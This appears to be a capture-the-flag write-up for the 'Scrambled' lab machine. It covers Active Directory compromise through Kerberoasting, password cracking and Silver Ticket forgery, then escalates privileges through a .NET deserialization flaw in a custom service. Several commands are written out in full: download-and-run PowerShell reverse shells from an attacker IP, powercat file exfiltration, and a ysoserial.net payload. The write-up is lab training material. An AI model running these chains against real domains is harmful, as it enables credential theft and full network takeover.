Scrambled

Summary

Nmap finds a website on port 80 and shows Kerberos is running on port 88. It also displays a few domains (scrm.local and dc1.scrm.local), which we add to /etc/hosts. The website reveals several important pieces of information: 1) NTLM authentication is disabled, 2) ksimpson is a valid username, 3) a unique program runs on port 4411 and has some debug mode, and 4) passwords are reset to match the account username. We learn that the credentials ksimpson:ksimpson are valid using kerbrute. However, ksimpson has limited privileges and cannot do much, so we need to attack Active Directory.

We are able to access some of the SMB shares as ksimpson using Kerberos to authenticate (smbclient.py from impacket supports this). We find a PDF mentioning how passwords are stored in a database. So, it looks like MS SQL is our target.

We use the Kerberoasting attack (more information, video by the author of the box). We use impacket to get the Service Principal Names (SPNs), which gives us the Ticket Granting Service (TGS) for the sqlsvc user. We crack the hash following the HackTricks Kerberoast section on cracking and get a password. Next, we use the Silver Ticket attack to forge a custom TGS as the Administrator user, which will definitely have access to the database. With this ticket, we can use mssqlclient.py and enumerate the database. We find the credentials for the MiscSvc user. Finally, we use Invoke-PowerShellTcp.ps1 and xp_cmdshell to get a reverse shell.

We easily switch to the MiscSvc user since we have the credentials for it usingInvoke-Command and grabbing another reverse shell. This gets us the user.txt flag. At the path C:\Shares\IT\Apps\Sales Order Client we find an executable and a DLL. We download them both and open them in AvaloniaILSpy, a .Net decompiler. We find a deserialization vulnerability in the ScrambleLib.ScrambleNetClient.UploadOrder function and use pwntester/ysoserial.net to exploit the deserialization vulnerability. This program creates a payload that will run our reverse shell command. We send the payload to the program on port 4411 with the UPLOAD_ORDER; command. After several attempts, we get a reverse shell as Administrator and get the root.txt flag.

Enumeration

Nmap

First, let's scan for open ports using nmap. We can quickly scan for open ports and store them in a variable: ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.168 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//). Then, we can scan those specific ports in depth by running nmap's built-in scripts: nmap -p$ports -sC -sV 10.10.11.168.

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: Scramble Corp Intranet
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-08-03 17:35:10Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername:<unsupported>, DNS:DC1.scrm.local
| Not valid before: 2022-06-09T15:30:57
|_Not valid after:  2023-06-09T15:30:57
|_ssl-date: 2022-08-03T17:38:16+00:00; -3s from scanner time.
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername:<unsupported>, DNS:DC1.scrm.local
| Not valid before: 2022-06-09T15:30:57
|_Not valid after:  2023-06-09T15:30:57
|_ssl-date: 2022-08-03T17:38:16+00:00; -3s from scanner time.
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2022-08-03T04:55:14
|_Not valid after:  2052-08-03T04:55:14
|_ssl-date: 2022-08-03T17:38:16+00:00; -3s from scanner time.
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername:<unsupported>, DNS:DC1.scrm.local
| Not valid before: 2022-06-09T15:30:57
|_Not valid after:  2023-06-09T15:30:57
|_ssl-date: 2022-08-03T17:38:16+00:00; -3s from scanner time.
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername:<unsupported>, DNS:DC1.scrm.local
| Not valid before: 2022-06-09T15:30:57
|_Not valid after:  2023-06-09T15:30:57
|_ssl-date: 2022-08-03T17:38:16+00:00; -3s from scanner time.
4411/tcp  open  found?
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, NCP, NULL, NotesRPC, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns:
|     SCRAMBLECORP_ORDERS_V1.0.3;
|   FourOhFourRequest, GetRequest, HTTPOptions, Help, LPDString, RTSPRequest, SIPOptions:
|     SCRAMBLECORP_ORDERS_V1.0.3;
|_    ERROR_UNKNOWN_COMMAND;
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49675/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49676/tcp open  msrpc         Microsoft Windows RPC
49702/tcp open  msrpc         Microsoft Windows RPC
49706/tcp open  msrpc         Microsoft Windows RPC
53525/tcp open  msrpc         Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port4411-TCP:V=7.92%I=7%D=8/3%Time=62EAB1D1%P=x86_64-pc-linux-gnu%r(NUL
SF:L,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(GenericLines,1D,"SCRAMBLECO
SF:RP_ORDERS_V1\.0\.3;\r\n")%r(GetRequest,35,"SCRAMBLECORP_ORDERS_V1\.0\.3
SF:;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(HTTPOptions,35,"SCRAMBLECORP_ORDERS
SF:_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(RTSPRequest,35,"SCRAMBLECO
SF:RP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(RPCCheck,1D,"SCRA
SF:MBLECORP_ORDERS_V1\.0\.3;\r\n")%r(DNSVersionBindReqTCP,1D,"SCRAMBLECORP
SF:_ORDERS_V1\.0\.3;\r\n")%r(DNSStatusRequestTCP,1D,"SCRAMBLECORP_ORDERS_V
SF:1\.0\.3;\r\n")%r(Help,35,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOW
SF:N_COMMAND;\r\n")%r(SSLSessionReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n"
SF:)%r(TerminalServerCookie,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(TLSS
SF:essionReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(Kerberos,1D,"SCRAMB
SF:LECORP_ORDERS_V1\.0\.3;\r\n")%r(SMBProgNeg,1D,"SCRAMBLECORP_ORDERS_V1\.
SF:0\.3;\r\n")%r(X11Probe,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(FourOh
SF:FourRequest,35,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;
SF:\r\n")%r(LPDString,35,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_C
SF:OMMAND;\r\n")%r(LDAPSearchReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r
SF:(LDAPBindReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(SIPOptions,35,"S
SF:CRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(LANDesk-
SF:RC,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(TerminalServer,1D,"SCRAMBL
SF:ECORP_ORDERS_V1\.0\.3;\r\n")%r(NCP,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\
SF:n")%r(NotesRPC,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(JavaRMI,1D,"SC
SF:RAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(WMSRequest,1D,"SCRAMBLECORP_ORDERS_
SF:V1\.0\.3;\r\n")%r(oracle-tns,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(
SF:ms-sql-s,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(afp,1D,"SCRAMBLECORP
SF:_ORDERS_V1\.0\.3;\r\n")%r(giop,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n");
Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2022-08-03T17:37:41
|_  start_date: N/A
| ms-sql-info:
|   10.10.11.168:1433:
|     Version:
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
|_clock-skew: mean: -3s, deviation: 0s, median: -3s

Let's add all the detected domains (and scrambled.htb just in case) to our /etc/hosts file: echo "10.10.11.168 scrambled.htb scrm.local dc1.scrm.local" | sudo tee -a /etc/hosts.

Important to note is that we have a website on port 80 and Kerberos is active on the machine on port 88.

Port 80

Let's first check out the website on port 80:

On the "IT Services" page we see that they have disabled NTLM authentication on their network due to a security breach:

The page also links to several resources that reveal some important information.

On the "Contacting IT Support" page below, we get a username, ksimpson, and an internal phone number, 0866:

The "New User Account" page doesn't seem to be that useful:

The "Sales Orders App Troubleshooting" page discusses a program that connects to port 4411 and has a debugging mode:

Finally, the "Password Resets" page explains that their password reset system is currently down:

So, if someone needs their password reset, they should contact IT and IT will reset it to be the same as their username. Thus, for any usernames we get, we can guess that the password is the same as the username.

We already know about the ksimpson user from a screenshot. So, maybe their password is also ksimpson.

We can quickly test this using kerbrute: echo "ksimpson:ksimpson" > creds.txt && ./kerbrute bruteforce --domain scrm.local --dc dc1.scrm.local creds.txt && rm creds.txt:

In our command we put the credentials in a file, tell kerbrute to read credentials from that file, and then we remove the file when kerbrute is done. Apparently, kerbrute can read from STDIN, but I couldn't get that to work.

The kerbrute program is meant for bruteforcing usernames and passwords against kerberos. Kerberos is a great target to bruteforce credentials because 1) it will indicate if a username is correct even if the password is wrong, 2) "Kerberos pre-authentication errors are not logged in Active Directory with a normal Logon failure event (4625)" so it is stealthy, and 3) it can be done quickly.

Kerberos

We are just using kerbrute to check for a single credential combination, but we can run kerbrute userenum -d scrm.local --dc dc1.scrm.local A-ZSurnames.txt to check if any of the users in the A-ZSurnames.txt list are present on the target machine. Searching for "kerberos usernames list" finds attackdebris/kerberos_enum_userlists, which has plenty of options. We use the A-ZSurnames.txt list because that is the format of the ksimpson username we found. Running the aforementioned commands produces this output:

We could then bruteforce passwords for each user using the bruteuser command from kerbrute, but we already have a set of credentials.

Resources: The HackTricks Active Directory Methodology is a great guide to working with Windows Active Directories. Additionally, Kerberos (I): How does Kerberos work? – Theory is a fantastic introduction to Kerberos from BlackArrow. Finally, Kerberos (II): How to attack Kerberos? explains some of the common Kerberos attacks/exploits.

Another resource is WADComs, which shows commands regarding Active Directory applicable to your current situation. For instance, if we select the options for our current setup, we will get a list of commands that might be useful.

We initially try using crackmapexec to see if we can access anything using the ksimpson user. For instance, we run crackmapexec winrm scrm.local -u ksimpson -p ksimpson to check if we can connect over WinRM. Testing all of crackmapexec's supported protocols fails with our credentials though, so we need a more privileged account.

In the Enumerating Active Directory WITH credentials/session section, HackTricks tells us that we can obtain all the domain usernames by running GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username (from impacket). However, when we run it, we get this issue:

The website mentioned that NTLM is disabled, so it looks like we are going to need to explore Kerberos more.

SMB

As the ksimpson, user we are able to get a TGT (Ticket Granting Ticket) by running getTGT.py scrm.local/ksimpson:ksimpson (from impacket). Run export KRB5CCNAME=ksimpson.ccache so future scripts know which ticket to use. Then, we can run smbclient.py -k -no-pass scrm.local/[email protected] to authenticate to the SMB share using Kerberos. Alternatively, just run smbclient.py -k scrm.local/[email protected] and provide the password ksimpson:

We do not have access to the Sales share, so we should note that for later. In the Public share there is a document: Network Security Changes.pdf. The document says "The attacker was able to retrieve credentials from an SQL database used by our HR software so we have removed all access to the SQL service for everyone apart from network administrators." Sounds like there are still credentials in the database then. So, that should be our target.

Foothold

The next attack we see is Kerberoasting (also shown on WADComs with the Impacket-GetUserSPNs command and from the article linked previously).

Additionally, searching for "kerberoasting" finds a video by the author of the box. The video is actually pretty helpful for understanding how this attack works.

"The goal of Kerberoasting is to harvest TGS tickets for services that run on behalf of user accounts in the AD, not computer accounts. Thus, part of these TGS tickets are encrypted with keys derived from user passwords. As a consequence, their credentials could be cracked offline." - HackTricks

Running the command as shown in HackTricks or WADComs produes this error:

So, we add the -k option to use Kerberos, which then tells us to use the -dc-host option instead of -dc-ip.

So, our final command is GetUserSPNs.py -request -dc-host dc1.scrm.local scrm.local/ksimpson:ksimpson -outputfile hashes.kerberoast -k:

Note: If the above produces a TypeError: exceptions must be old-style classes or derived from BaseException, not str issue, then check out impacket#1206.

This seems to work for me. Running cat hashes.kerberoast gives us a hash:

So, we have the TGS (Ticket Granting Service) for the sqlsvc user. The TGS "is the ticket which user can use to authenticate against a service. It is encrypted with the service key" (source). Now, we can try to crack the TGS to get the key.

According to the HackTricks Kerberoast section on cracking, we can run john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt hashes.kerberoast to crack the hash. Within a few seconds this gives us the password Pegasus60.

On HackTricks, we look at the Post-exploitation with high privilege account section, which talks about the Silver Ticket attack: "The Silver ticket attack is based on crafting a valid TGS for a service once the NTLM hash of service is owned (like the PC account hash). Thus, it is possible to gain access to that service by forging a custom TGS as any user (like privileged access to a computer)."

We have the password for the sqlsvc account. So, we can easily get an NTLM hash of that password: B999A16500B87D17EC7F2E2A68778F05. Since we have the NTLM hash of the MS SQL service, we can use the silver ticket attack to forge a custom TGS as the Administrator user, which will definitely have access to the database.

We can run export KRB5CCNAME=sqlsvc.ccache and then secretsdump.py -k -no-pass scrm.local/[email protected] -debug to get the domain SID:

So, the domain SID is S-1-5-21-2743207045-1827831105-2542523200. The exmaple command from HackTricks is python ticketer.py -nthash b18b4b218eccad1c223306ea1916885f -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park -spn cifs/labwws02.jurassic.park stegosaurus.

For us, the command will be ticketer.py -nthash B999A16500B87D17EC7F2E2A68778F05 -domain-sid S-1-5-21-2743207045-1827831105-2542523200 -domain scrm.local -spn mssqlsvc/dc1.scrm.local Administrator:

Now, we can access the MS SQL server by running export KRB5CCNAME=Administrator.ccache and mssqlclient.py -k -no-pass dc1.scrm.local:

To enumerate the database, we use the same commands as in the StreamIO writeup.

Now, we have MiscSvc:ScrambledEggs9900 as credentials.

We gain command execution using xp_cmdshell:

To get a reverse shell, we first download Invoke-PowerShellTcp.ps1. Then, start a basic web server with python -m http.server 4094 so the target can download our reverse shell. Next, start a listener with nc -nvlp 9014. Finally, run EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.98:4094/Invoke-PowerShellTcp.ps1");Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.98 -Port 9014 | powershell -noprofile' (command based on HackTricks) to get a reverse shell.

Lateral Movement

We are the scrm\sqlsvc user, but looking at the Desktop directory with dir C:\Users\sqlsvc\Desktop shows no flag. However, we have credentials for MiscSvc from the database. So, let's switch to that user and check for a flag.

We can run commands as that user with the following syntax:

The above should print scrm\miscsvc. Now we can start another listener with nc -nvlp 9015 on our machine. Change into the C:\Temp directory on the target. Finally, run Invoke-Command -Computer dc1 -Credential $Cred -Command {IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.98:4094/Invoke-PowerShellTcp.ps1");Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.98 -Port 9015} on the target to get a shell as miscsvc. This command will download Invoke-PowerShellTcp.ps1 and then run it like before with xp_cmdshell.

Finally, run type C:\Users\miscsvc\Desktop\user.txt to get the user.txt flag.

Privilege Escalation

At the path C:\Shares\IT\Apps\Sales Order Client we have the following files:

Download powercat and make sure the Python web server is still running.

We can run IEX (New-Object System.Net.Webclient).DownloadString('http://10.10.14.98:4094/powercat.ps1') to download and load powercat. Then, run nc -nvlp 55628 > ScrambleClient.exe on your machine and run powercat -c 10.10.14.98 -p 55628 -i "C:\Shares\IT\Apps\Sales Order Client\ScrambleClient.exe" on the target. Press CTRL+C in the netcat reciever when it's been long enough for the file to transfer. Do the same thing for ScrambleLib.dll.

Here are those files: ScrambleClient.exe and ScrambleLib.dll.

The file command says ScrambleClient.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows.

In the Support machine writeup, we dealt with decompiling a .Net binary. I'm going to use AvaloniaILSpy. Download the latest release from the releases page and run it with ./ILSpy.

We find a deserialization vulnerability in the ScrambleLib.ScrambleNetClient.UploadOrder function:

The constructor shows that the default port is 4411, so this is the service we saw earlier:

In the ScrambleLib.ScrambleNetRequest.GetCodeFromMessageType function, we see:

So, it looks like we need to use the UPLOAD_ORDER command.

We can use pwntester/ysoserial.net to exploit the deserialization vulnerability. This HackTricks page discusses this program. This is a Windows application so I tried to run it with Wine. I needed to install Wine Mono, which I did by following this AskUbuntu answer. However, running the command using wine produces different output than running the command on native Windows. This took me a while to figure out since I didn't have a Windows VM handy.

The final command to run to create the exploit is ysoserial.exe -f BinaryFormatter -g WindowsIdentity -o base64 -c "powershell IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.98:4094/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.98 -Port 17019":

We are using the reverse shell from before in this command.

Tip: Pipe the command directly to xclip -selection clipboard to automatically copy the output to your clipboard.

Start a listener with nc -nvlp 17019. Connect to service with nc 10.10.11.168 4411. Make sure the Python web server is still running with python -m http.server 4094. Send UPLOAD_ORDER; followed by the payload from before:

Now, we can execute type C:\Users\Administrator\Desktop\root.txt to get the root.txt flag.

Last updated

Was this helpful?